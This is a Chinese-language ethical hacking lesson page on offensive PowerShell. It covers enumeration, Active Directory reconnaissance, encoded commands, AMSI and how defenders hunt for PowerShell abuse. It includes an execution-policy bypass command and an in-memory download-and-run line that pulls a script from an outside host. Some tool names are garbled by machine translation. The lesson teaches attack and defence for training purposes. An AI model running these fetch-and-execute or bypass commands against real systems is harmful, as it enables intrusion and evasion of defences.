面向攻击者的 PowerShell
攻击性 PowerShell
面向攻击者的 PowerShell 是 CoddyKit 上的免费 Ethical Hacking Academy 课时。 这是第 4 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Ethical Hacking Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Ethical Hacking Academy 课程共包含 4 节课。
为什么选择 PowerShell
PowerShell 内置于 Windows 中,与 OS 和 .NET 深度集成,并且受到管理员信任。因此,它成为攻击者钟爱的就地取材工具——无需投放恶意软件。
本课将介绍您在攻击和防御 Windows 时必须理解的进攻性 PowerShell 概念。
命令小程序与管道
PowerShell 命令采用动词-名词形式的命令小程序。它们会沿管道传递丰富的对象(而不只是文本),从而让枚举功能更加强大。
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, Id系统枚举
攻击者使用内置命令小程序快速调查主机,包括用户、服务、网络和补丁。
Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State Listen执行策略不是安全机制
执行策略会限制脚本文件的运行,但它不是安全边界。许多简单的参数都可以绕过它,因此防御人员不应依赖该策略。
powershell -ExecutionPolicy Bypass -File script.ps1下载并运行
一种常见技术会获取有效载荷并在内存中运行,从而几乎不在磁盘上留下痕迹。这就是网络监控和 AMSI 监控十分重要的原因。
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')编码命令
-EncodedCommand 参数会运行经过 Base64 编码的 PowerShell,攻击者常用它来隐藏意图,躲避粗略检查和简单过滤器。
防御人员会从日志中解码这些命令,以揭示实际运行的内容。
powershell -EncodedCommand <base64-here>进攻性框架
成熟的工具包会基于这些基本能力构建:
- PowerSploit / PowerView - AD 枚举和入侵后活动。
- 帝国 / 圣约 - 命令与控制。
- 西山 - 进攻性脚本。
如今,大多数工具都已被防御措施添加了大量特征标记。
Active Directory 侦察
在域环境中,PowerShell(PowerView 或 AD 模块)会映射用户、组和信任关系,这是寻找通往域管理员路径的基础。
Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'AMSI 与日志记录
Microsoft 专门针对 PowerShell 滥用增加了以下防御措施:
- AMSI(反恶意软件扫描接口)会在脚本执行前扫描脚本内容。
- 脚本块日志记录会记录实际运行的内容。
- 受限语言模式会限制危险功能。
攻击者会尝试绕过 AMSI;防御人员则会监控日志。
防御性威胁搜寻
蓝队会通过查找以下迹象来搜寻恶意 PowerShell:
- 经过编码或混淆的命令。
DownloadString/IEX网络获取操作。- 异常的父进程(例如 Office 启动 PowerShell)。
- AMSI 和事件 ID 4104 的脚本块日志。
合乎道德地使用
这些技术功能强大,并且与真实入侵活动直接对应。请仅在您自己的实验环境中,或获得明确的书面授权后运行它们。
练习防御方面的技能——阅读日志、识别 AMSI 命中——与练习进攻方面同样有价值。
快速检查
评估执行策略作为控制措施的作用。
回顾
您已经探索了进攻性 PowerShell:
- 基于对象的命令小程序让枚举变得强大且隐蔽(就地取材)。
- 下载并运行、编码命令,以及 PowerView/帝国等框架。
- 执行策略不是安全机制;AMSI和脚本块日志记录才是真正的防御措施。
- 始终以合乎道德的方式操作,并学习防御方面的内容。
至此,Windows 内部原理课程已完成。
常见问题解答
「面向攻击者的 PowerShell」课时是免费的吗?
是的 — 「面向攻击者的 PowerShell」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Ethical Hacking Academy 课程的其余内容,请升级到 CoddyKit PRO。 Ethical Hacking Academy 课程共包含 4 节课。
「面向攻击者的 PowerShell」这节课中我会学到什么?
攻击性 PowerShell 你通过在浏览器中直接运行的动手代码来练习 Ethical Hacking Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Ethical Hacking Academy 需要有经验吗?
无需任何先前经验。CoddyKit 上的 Ethical Hacking Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 4 节课,共 4 节。
「面向攻击者的 PowerShell」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 Ethical Hacking Academy 课中编写并运行代码吗?
能。每节 Ethical Hacking Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。
此课程中的所有课时
- Windows 架构
- 注册表
- Windows 身份验证
- 面向攻击者的 PowerShell